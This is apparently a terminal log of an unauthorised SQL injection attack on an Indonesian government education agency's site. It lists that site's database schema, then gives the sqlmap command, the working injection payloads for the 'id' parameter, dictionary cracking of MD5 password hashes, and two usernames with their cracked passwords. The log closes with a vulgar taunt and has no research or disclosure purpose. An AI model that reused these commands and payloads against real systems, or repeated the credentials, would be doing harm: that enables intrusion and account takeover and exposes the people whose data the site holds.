| Column         | Type         |
+----------------+--------------+
| APPROVE        | varchar(1)   |
| id_bagian      | int(11)      |
| ID_BERITA      | int(11)      |
| ID_KARYAWAN    | varchar(10)  |
| ISI_BERITA     | longtext     |
| JUDUL_BERITA   | varchar(200) |
| TANGGAL_BERITA | date         |
| upload         | varchar(250) |
+----------------+--------------+

Database: kopertisdb
Table: yayasan_d
[11 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| ALAMAT     | varchar(61)  |
| jnsbppts   | varchar(1)   |
| KDPTIMSPST | int(6)       |
| KOTAAMSPST | varchar(11)  |
| laman      | varchar(100) |
| NMPTIMSPST | varchar(50)  |
| NO_AKTA    | varchar(10)  |
| NOMOR_SK   | varchar(34)  |
| TGL_AKTA   | varchar(12)  |
| TGL_SK     | varchar(13)  |
| YAYASAN    | varchar(84)  |
+------------+--------------+

Database: kopertisdb
Table: pengunjung
[2 columns]
+--------+---------+
| Column | Type    |
+--------+---------+
| tahun  | date    |
| total  | int(11) |
+--------+---------+

Database: kopertisdb
Table: fungsi
[4 columns]
+------------------+----------+
| Column           | Type     |
+------------------+----------+
| deskripsi_fungsi | longtext |
| id_fungsi        | int(11)  |
| isi_fungsi       | longtext |
| tanggal_edit     | datetime |
+------------------+----------+

Database: kopertisdb
Table: tbpimmspst
[17 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| ALAMATP    | varchar(60) |
| ALAMATPTS  | varchar(71) |
| EMAILP     | varchar(46) |
| emailPTS   | varchar(36) |
| FaxPTS     | varchar(13) |
| HPP        | varchar(12) |
| KDPTIMSPST | int(6)      |
| Keterangan | varchar(53) |
| Kode_area  | varchar(4)  |
| KOTAAMSPST | varchar(11) |
| KOTAP      | varchar(16) |
| laman      | varchar(50) |
| MSKJP      | varchar(13) |
| NMPTIMSPST | varchar(62) |
| PIMPTS     | varchar(58) |
| telpPTS    | varchar(23) |
| TELPRP     | varchar(26) |
+------------+-------------+

Database: kopertisdb
Table: tbl_user
[7 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| user       | varchar(40)  |
| extra      | int(1)       |
| keterangan | varchar(200) |
| password   | varchar(40)  |
| profil     | varchar(50)  |
| status     | int(2)       |
| type       | varchar(10)  |
+------------+--------------+

Database: kopertisdb
Table: kopertis_infokhususkategori
[2 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| idkat    | tinyint(4)  |
| kategori | varchar(50) |
+----------+-------------+

Database: kopertisdb
Table: kopertis_materi
[2 columns]
+--------+---------+
| Column | Type    |
+--------+---------+
| id     | int(11) |
| materi | text    |
+--------+---------+

Database: kopertisdb
Table: psmspst_d
[21 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| CATATAN    | varchar(888) |
| KDFAKMSPST | varchar(10)  |
| KDJENMSPST | varchar(1)   |
| KDPSTMSPST | int(5)       |
| KDPTIMSPST | int(5)       |
| KODSKMSPST | varchar(10)  |
| KOTAAMSPST | varchar(11)  |
| NMPSTMSPST | varchar(47)  |
| NMPTIMSPST | varchar(50)  |
| NOBAN      | varchar(39)  |
| NOMSKMSPST | varchar(20)  |
| PERINGKAT  | varchar(1)   |
| SK_AWAL    | varchar(20)  |
| SMAWLMSPST | varchar(10)  |
| STATUMSPST | varchar(10)  |
| status     | varchar(4)   |
| TGAWLMSPST | varchar(10)  |
| TGLAKMSPST | varchar(10)  |
| TGLSKMSPST | varchar(10)  |
| THNBAN     | varchar(10)  |
| THNSK      | varchar(4)   |
+------------+--------------+

Database: kopertisdb
Table: statistik
[4 columns]
+---------------+--------------+
| Column        | Type         |
+---------------+--------------+
| hits          | bigint(20)   |
| ip_address    | varchar(20)  |
| online        | varchar(255) |
| tanggal_akses | datetime     |
+---------------+--------------+

Database: kopertisdb
Table: bagian
[2 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| ID_BAGIAN   | int(11)      |
| NAMA_BAGIAN | varchar(200) |
+-------------+--------------+

Database: kopertisdb
Table: aturan
[6 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| delete  | int(1)       |
| insert  | int(1)       |
| update  | int(1)       |
| user    | varchar(100) |
| menu    | varchar(100) |
| submenu | varchar(100) |
+---------+--------------+

Database: kopertisdb
Table: kopertis_admin
[3 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| id     | int(5)      |
| nama   | varchar(50) |
| sandi  | varchar(50) |
+--------+-------------+

Database: kopertisdb
Table: visi_misi
[5 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| id_visi_misi | int(11)  |
| misi         | longtext |
| motto        | longtext |
| tanggal_edit | datetime |
| visi         | longtext |
+--------------+----------+

Database: kopertisdb
Table: kopertis_forkom2
[6 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| berita    | text         |
| headlines | text         |
| id        | tinyint(4)   |
| image     | varchar(100) |
| judul     | varchar(175) |
| tgl       | date         |
+-----------+--------------+

Database: kopertisdb
Table: rekapjmlps
[21 columns]
+----------------+-------------+
| Column         | Type        |
+----------------+-------------+
| akreditasiA    | int(10)     |
| akreditasiB    | int(10)     |
| akreditasiC    | int(10)     |
| akreditasijml  | int(10)     |
| bentukptakad   | int(10)     |
| bentukptinst   | int(10)     |
| bentukptjml    | int(10)     |
| bentukptpolt   | int(10)     |
| bentukptsekt   | int(10)     |
| bentukptuniv   | int(10)     |
| bidangilmu     | varchar(50) |
| jenjangd3      | int(10)     |
| jenjangd4      | int(10)     |
| jenjangjml     | int(10)     |
| jenjangprofesi | int(10)     |
| jenjangs1      | int(10)     |
| jenjangs2      | int(10)     |
| jenjangs3      | int(10)     |
| kodebidil      | varchar(10) |
| mati           | int(10)     |
| tanggal_upload | date        |
+----------------+-------------+

Database: kopertisdb
Table: tb_akreditasi_2016
[9 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| IDX        | varchar(5)   |
| KDPSTMSPST | varchar(6)   |
| KDPTIMSPST | varchar(7)   |
| NOBAN      | varchar(100) |
| PERINGKAT  | varchar(1)   |
| REVIEWER   | int(1)       |
| STATUS     | int(11)      |
| THNBAN     | varchar(10)  |
| THNSK      | varchar(10)  |
+------------+--------------+

Database: kopertisdb
Table: kopertis_infolayan
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | tinyint(11) |
| idsubbag | tinyint(4)  |
| layanan  | text        |
+----------+-------------+

Database: kopertisdb
Table: psmspst_d_120116
[21 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| CATATAN    | varchar(888) |
| KDFAKMSPST | varchar(10)  |
| KDJENMSPST | varchar(1)   |
| KDPSTMSPST | int(5)       |
| KDPTIMSPST | int(5)       |
| KODSKMSPST | varchar(10)  |
| KOTAAMSPST | varchar(11)  |
| NMPSTMSPST | varchar(47)  |
| NMPTIMSPST | varchar(50)  |
| NOBAN      | varchar(39)  |
| NOMSKMSPST | varchar(20)  |
| PERINGKAT  | varchar(1)   |
| SK_AWAL    | varchar(20)  |
| SMAWLMSPST | varchar(10)  |
| STATUMSPST | varchar(10)  |
| status     | varchar(4)   |
| TGAWLMSPST | varchar(10)  |
| TGLAKMSPST | varchar(10)  |
| TGLSKMSPST | varchar(10)  |
| THNBAN     | varchar(10)  |
| THNSK      | varchar(4)   |
+------------+--------------+

Database: kopertisdb
Table: kopertis_link
[3 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| alamat | varchar(254) |
| id     | int(5)       |
| nama   | varchar(254) |
+--------+--------------+

Database: kopertisdb
Table: berita
[9 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| APPROVE        | varchar(1)   |
| id_bagian      | int(11)      |
| ID_BERITA      | int(11)      |
| ID_KARYAWAN    | varchar(10)  |
| ISI_BERITA     | longtext     |
| JUDUL_BERITA   | varchar(200) |
| JUDUL_POTO     | varchar(200) |
| TANGGAL_BERITA | datetime     |
| upload         | varchar(250) |
+----------------+--------------+

Database: kopertisdb
Table: yayasan
[11 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| ALAMAT     | varchar(61)  |
| jnsbppts   | varchar(1)   |
| KDPTIMSPST | int(6)       |
| KOTAAMSPST | varchar(11)  |
| laman      | varchar(100) |
| NMPTIMSPST | varchar(50)  |
| NO_AKTA    | varchar(10)  |
| NOMOR_SK   | varchar(34)  |
| TGL_AKTA   | varchar(12)  |
| TGL_SK     | varchar(13)  |
| YAYASAN    | varchar(84)  |
+------------+--------------+

Database: kopertisdb
Table: tb_wisudawan
[9 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| idreg      | varchar(16) |
| KDPRODI    | varchar(7)  |
| KDPTI      | varchar(7)  |
| NAMA_MHS   | varchar(50) |
| NIM        | varchar(25) |
| STATUS     | int(1)      |
| TEMPAT_LHR | varchar(50) |
| TGL_LAHIR  | date        |
| tgl_lapor  | date        |
+------------+-------------+

Database: kopertisdb
Table: pengumuman
[21 columns]
+--------------------+---------------+
| Column             | Type          |
+--------------------+---------------+
| id_bagian          | int(11)       |
| ID_KARYAWAN        | varchar(9)    |
| ID_PENGUMUMAN      | int(11)       |
| ishide             | tinyint(1)    |
| ISI_PENGUMUMAN     | longtext      |
| JUDUL_PENGUMUMAN   | varchar(200)  |
| label1             | varchar(255)  |
| label2             | varchar(255)  |
| label3             | varchar(255)  |
| label4             | varchar(255)  |
| label5             | varchar(255)  |
| label6             | varchar(255)  |
| label7             | varchar(255)  |
| TANGGAL_PENGUMUMAN | datetime      |
| upload1            | varchar(900)  |
| upload2            | varchar(900)  |
| upload3            | varchar(900)  |
| upload4            | varchar(900)  |
| upload5            | varchar(9000) |
| upload6            | varchar(900)  |
| upload7            | varchar(900)  |
+--------------------+---------------+

Database: kopertisdb
Table: buku_tamu
[8 columns]
+-----------------+-------------+
| Column          | Type        |
+-----------------+-------------+
| ALAMAT_TAMU     | varchar(55) |
| APPROVE         | int(11)     |
| EMAIL_TAMU      | varchar(50) |
| ID_TAMU         | int(11)     |
| KOMENTAR        | longtext    |
| NAMA_TAMU       | varchar(50) |
| RESPON_KOMENTAR | longtext    |
| TANGGAL         | datetime    |
+-----------------+-------------+

Database: kopertisdb
Table: kopertis_dok_infolayan
[4 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| alamat_dok | varchar(128) |
| id         | int(11)      |
| idlayanan  | int(11)      |
| tgl        | date         |
+------------+--------------+

Database: kopertisdb
Table: rekapijin
[7 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| %_IJIN            | float        |
| %_JML_PS&PS_HIDUP | float        |
| BENTUK_PT         | varchar(100) |
| JML_P_STUDI_HIDUP | int(11)      |
| JML_PROGRAM_STUDI | int(11)      |
| KADALUARSA        | int(11)      |
| tanggal_upload    | date         |
+-------------------+--------------+

Database: kopertisdb
Table: kopertis_seputar
[7 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| foto      | varchar(50) |
| fungsi    | text        |
| kedudukan | text        |
| pejabat   | varchar(50) |
| sambutan  | text        |
| sejarah   | text        |
| sekilas   | text        |
+-----------+-------------+

Database: kopertisdb
Table: kopertis_wilayah
[8 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| data   | varchar(100) |
| email  | varchar(100) |
| idcat  | tinyint(4)   |
| idno   | varchar(10)  |
| kota   | varchar(100) |
| profil | text         |
| pts    | varchar(150) |
| url    | varchar(150) |
+--------+--------------+

Database: kopertisdb
Table: kopertis_dok_materi
[5 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| alamat_dok | varchar(128) |
| id         | int(11)      |
| idmateri   | int(11)      |
| nama_dok   | varchar(128) |
| tgl        | date         |
+------------+--------------+

Database: kopertisdb
Table: tb_akreditasi
[11 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| IDX        | varchar(5)   |
| IDX_2      | int(20)      |
| INSTITUSI  | int(1)       |
| KDPSTMSPST | varchar(6)   |
| KDPTIMSPST | varchar(7)   |
| NOBAN      | varchar(100) |
| PERINGKAT  | varchar(1)   |
| STATUS     | int(11)      |
| THNBAN     | varchar(10)  |
| THNSK      | varchar(10)  |
| TIPE       | int(1)       |
+------------+--------------+

Database: kopertisdb
Table: gallery
[5 columns]
+---------------+--------------+
| Column        | Type         |
+---------------+--------------+
| GAMBAR        | varchar(100) |
| ID_GALLERY    | int(11)      |
| JUDUL_GALLERY | varchar(200) |
| KETERANGAN    | longtext     |
| STATUS_TAMPIL | varchar(1)   |
+---------------+--------------+

Database: kopertisdb
Table: kopertis_bukutamu
[8 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| alamat   | varchar(175) |
| email    | varchar(100) |
| id       | int(11)      |
| jawab    | text         |
| komentar | text         |
| nama     | varchar(100) |
| tampil   | tinyint(1)   |
| tgl      | date         |
+----------+--------------+

Database: kopertisdb
Table: users
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | varchar(35) |
| password | varchar(50) |
| user_id  | int(5)      |
| username | varchar(25) |
+----------+-------------+

Database: kopertisdb
Table: rekap
[9 columns]
+--------------------+-------------+
| Column             | Type        |
+--------------------+-------------+
| %JMLAKR&JMLBENPT   | varchar(10) |
| %PSAKR&KADAL       | varchar(10) |
| %PSAKRE&BANBERLAKU | varchar(10) |
| BENTUKPT           | varchar(50) |
| JUMLAHPT           | int(11)     |
| KADALUARSA         | int(11)     |
| PSTERAKREDITASI    | int(11)     |
| SKBANMASIHBERLAKU  | int(11)     |
| tanggal_upload     | date        |
+--------------------+-------------+

Database: kopertisdb
Table: sejarah
[3 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| id_sejarah   | int(11)  |
| isi_sejarah  | longtext |
| tanggal_edit | datetime |
+--------------+----------+

Database: kopertisdb
Table: dpk
[8 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| gol            | varchar(10)  |
| kdjab          | varchar(11)  |
| kdpti          | varchar(15)  |
| kota           | varchar(150) |
| nip_baru       | varchar(150) |
| nmpeg          | varchar(150) |
| nmpts          | varchar(150) |
| tanggal_upload | date         |
+----------------+--------------+

Database: kopertisdb
Table: panduan
[6 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| ID_KARYAWAN     | varchar(9)   |
| ID_PANDUAN      | int(11)      |
| ISI_PANDUAN     | longtext     |
| JUDUL_PANDUAN   | varchar(200) |
| TANGGAL_PANDUAN | datetime     |
| upload          | varchar(250) |
+-----------------+--------------+

Database: kopertisdb
Table: karyawan
[10 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| ALAMAT_KARYAWAN | varchar(35)  |
| EMAIL_KARYAWAN  | varchar(100) |
| ID_KARYAWAN     | varchar(15)  |
| JK_KARYAWAN     | char(1)      |
| NAMA_KARYAWAN   | varchar(25)  |
| PASSWORD        | varchar(50)  |
| STATUS_KARYAWAN | varchar(15)  |
| TANGGAL_LAHIR   | date         |
| TELP_KARYAWAN   | varchar(20)  |
| USERNAME        | varchar(35)  |
+-----------------+--------------+

Database: kopertisdb
Table: tb_dokumen
[4 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| iddok  | int(1)       |
| idreg  | varchar(16)  |
| nmfile | varchar(255) |
| status | int(1)       |
+--------+--------------+

Database: kopertisdb
Table: ortu
[3 columns]
+--------+---------------+
| Column | Type          |
+--------+---------------+
| id_o   | int(11)       |
| link   | varchar(1000) |
| nama   | varchar(1000) |
+--------+---------------+

Database: kopertisdb
Table: tbpimmspst_130116
[17 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| ALAMATP    | varchar(60) |
| ALAMATPTS  | varchar(71) |
| EMAILP     | varchar(46) |
| emailPTS   | varchar(36) |
| FaxPTS     | varchar(13) |
| HPP        | varchar(12) |
| KDPTIMSPST | int(6)      |
| Keterangan | varchar(53) |
| Kode_area  | varchar(4)  |
| KOTAAMSPST | varchar(11) |
| KOTAP      | varchar(16) |
| laman      | varchar(50) |
| MSKJP      | varchar(13) |
| NMPTIMSPST | varchar(62) |
| PIMPTS     | varchar(58) |
| telpPTS    | varchar(23) |
| TELPRP     | varchar(26) |
+------------+-------------+

Database: kopertisdb
Table: psmspst
[7 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| CATATAN    | varchar(888) |
| KDJENMSPST | varchar(1)   |
| KDPSTMSPST | int(5)       |
| KDPTIMSPST | int(5)       |
| NMPSTMSPST | varchar(47)  |
| SK_AWAL    | varchar(20)  |
| status     | varchar(4)   |
+------------+--------------+

Database: kopertisdb
Table: psmspst_d_020614
[20 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| KDFAKMSPST | varchar(10) |
| KDJENMSPST | varchar(1)  |
| KDPSTMSPST | int(5)      |
| KDPTIMSPST | int(5)      |
| KODSKMSPST | varchar(10) |
| KOTAAMSPST | varchar(11) |
| NMPSTMSPST | varchar(47) |
| NMPTIMSPST | varchar(50) |
| NOBAN      | varchar(39) |
| NOMSKMSPST | varchar(20) |
| PERINGKAT  | varchar(1)  |
| SK_AWAL    | varchar(20) |
| SMAWLMSPST | varchar(10) |
| STATUMSPST | varchar(10) |
| status     | varchar(4)  |
| TGAWLMSPST | varchar(10) |
| TGLAKMSPST | varchar(10) |
| TGLSKMSPST | varchar(10) |
| THNBAN     | varchar(10) |
| THNSK      | varchar(4)  |
+------------+-------------+

Database: kopertisdb
Table: pengaduan
[15 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| alamat_pelapor | varchar(255) |
| email_pelapor  | varchar(50)  |
| id             | int(11)      |
| is_anonymous   | tinyint(1)   |
| is_protected   | tinyint(1)   |
| is_public      | tinyint(1)   |
| is_send_email  | tinyint(1)   |
| laporan        | longtext     |
| nama_pelapor   | varchar(100) |
| nama_perespon  | varchar(50)  |
| perihal        | varchar(255) |
| respon         | longtext     |
| tanggal_lapor  | timestamp    |
| tanggal_respon | timestamp    |
| ticket_id      | char(7)      |
+----------------+--------------+

Database: kopertisdb
Table: sambutan
[4 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| id_sambutan  | int(11)      |
| isi_sambutan | longtext     |
| photo        | varchar(300) |
| tanggal_edit | datetime     |
+--------------+--------------+

Database: kopertisdb
Table: layanan
[4 columns]
+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| DESKRIPSI_TUGAS | longtext |
| ID_LAYANAN      | int(11)  |
| NAMA_BAGIAN     | int(11)  |
| URAIAN_TUGAS    | longtext |
+-----------------+----------+

Database: kopertisdb
Table: kopertis_forkom1
[6 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| berita    | text         |
| headlines | text         |
| id        | tinyint(4)   |
| image     | varchar(100) |
| judul     | varchar(175) |
| tgl       | date         |
+-----------+--------------+

Database: kopertisdb
Table: anak
[4 columns]
+--------+---------------+
| Column | Type          |
+--------+---------------+
| id_a   | varchar(11)   |
| id_o   | int(11)       |
| link   | varchar(1000) |
| nama   | varchar(1000) |
+--------+---------------+

Database: kopertisdb
Table: login
[3 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| user      | varchar(100) |
| id_bagian | int(11)      |
| pass      | varchar(100) |
+-----------+--------------+

Database: kopertisdb
Table: peraturan
[6 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| FILE_PERATURAN    | varchar(250) |
| ID_BAGIAN         | int(11)      |
| ID_PERATURAN      | int(11)      |
| NO_SK             | varchar(50)  |
| TANGGAL_PERATURAN | datetime     |
| TENTANG_SK        | varchar(250) |
+-------------------+--------------+

Database: kopertisdb
Table: tbl_akta_yys
[10 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| ID_TRX       | int(11)      |
| id_yys       | int(11)      |
| jenis_akta   | int(1)       |
| judul_akta   | varchar(800) |
| kdpti        | varchar(7)   |
| kota_notaris | char(50)     |
| no_akta      | char(50)     |
| notaris      | char(100)    |
| status       | int(1)       |
| tgl_akta_bp  | date         |
+--------------+--------------+

Database: kopertisdb
Table: materi
[19 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| id_bagian      | int(11)      |
| ID_KARYAWAN    | varchar(9)   |
| ID_MATERI      | int(11)      |
| JUDUL_MATERI   | varchar(250) |
| label1         | varchar(255) |
| label2         | varchar(255) |
| label3         | varchar(255) |
| label4         | varchar(255) |
| label5         | varchar(255) |
| label6         | varchar(255) |
| label7         | varchar(255) |
| TANGGAL_MATERI | datetime     |
| upload1        | varchar(900) |
| upload2        | varchar(900) |
| upload3        | varchar(900) |
| upload4        | varchar(900) |
| upload5        | varchar(900) |
| upload6        | varchar(900) |
| upload7        | varchar(900) |
+----------------+--------------+

Database: kopertisdb
Table: rekapitulasi
[16 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| pts%           | varchar(10)  |
| akadps         | varchar(10)  |
| akadpt         | varchar(10)  |
| instps         | varchar(10)  |
| instpt         | varchar(10)  |
| kota           | varchar(100) |
| poltekps       | varchar(10)  |
| poltekpt       | varchar(10)  |
| ptspt          | varchar(10)  |
| sektips        | varchar(10)  |
| sektipt        | varchar(10)  |
| studips        | varchar(10)  |
| studipt        | varchar(10)  |
| tanggal_upload | date         |
| univps         | varchar(10)  |
| univpt         | varchar(10)  |
+----------------+--------------+

[12:33:19] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/dev2.kopertis7.go.id'

[*] shutting down at 12:33:19

root@yukinoshita47:~# sqlmap -u http://dev2.kopertis7.go.id/gallery_info.php?id=35 -D kopertisdb -T users -C email,password,user_id,username --dump

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:34:34

[12:34:34] [INFO] resuming back-end DBMS 'mysql'
[12:34:35] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: id=35' RLIKE (SELECT (CASE WHEN (3725=3725) THEN 35 ELSE 0x28 END)) AND 'GfNs'='GfNs

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=35' AND (SELECT 6217 FROM(SELECT COUNT(*),CONCAT(0x71616a6471,(SELECT (CASE WHEN (6217=6217) THEN 1 ELSE 0 END)),0x7166686d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lXbB'='lXbB

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=35' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71616a6471,0x74596d52717950594f66,0x7166686d71)#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: id=-3732' OR 7990=SLEEP(5) AND 'nddB'='nddB
---
[12:34:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[12:34:36] [INFO] fetching columns 'email, password, user_id, username' for table 'users' in database 'kopertisdb'
[12:34:37] [INFO] heuristics detected web page charset 'ascii'
[12:34:37] [INFO] fetching entries of column(s) 'email, password, user_id, username' for table 'users' in database 'kopertisdb'
[12:34:38] [INFO] analyzing table dump for possible password hashes
[12:34:38] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[12:34:45] [INFO] writing hashes to a temporary file '/tmp/sqlmaphashes-ACTjoY.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[12:34:53] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[12:35:02] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[12:35:08] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[12:35:08] [INFO] starting 2 processes
[12:35:16] [INFO] cracked password '123' for user 'pradeep'
[12:37:00] [INFO] cracked password 'hatori' for user 'thohari'
[12:37:24] [INFO] postprocessing table dump
Database: kopertisdb
Table: users
[2 entries]
+---------+---------------------+----------+-------------------------------------------+
| user_id | email               | username | password                                  |
+---------+---------------------+----------+-------------------------------------------+
| 1       | [email protected]   | pradeep  | 202cb962ac59075b964b07152d234b70 (123)    |
| 2       | [email protected] | thohari  | 826f6d1c102bd835cdcb0295f51ef00f (hatori) |
+---------+---------------------+----------+-------------------------------------------+

[12:37:24] [INFO] table 'kopertisdb.users' dumped to CSV file '/usr/share/sqlmap/output/dev2.kopertis7.go.id/dump/kopertisdb/users.csv'
[12:37:24] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/dev2.kopertis7.go.id'

[*] shutting down at 12:37:24

root@yukinoshita47:~# SALAM NGENTOT :*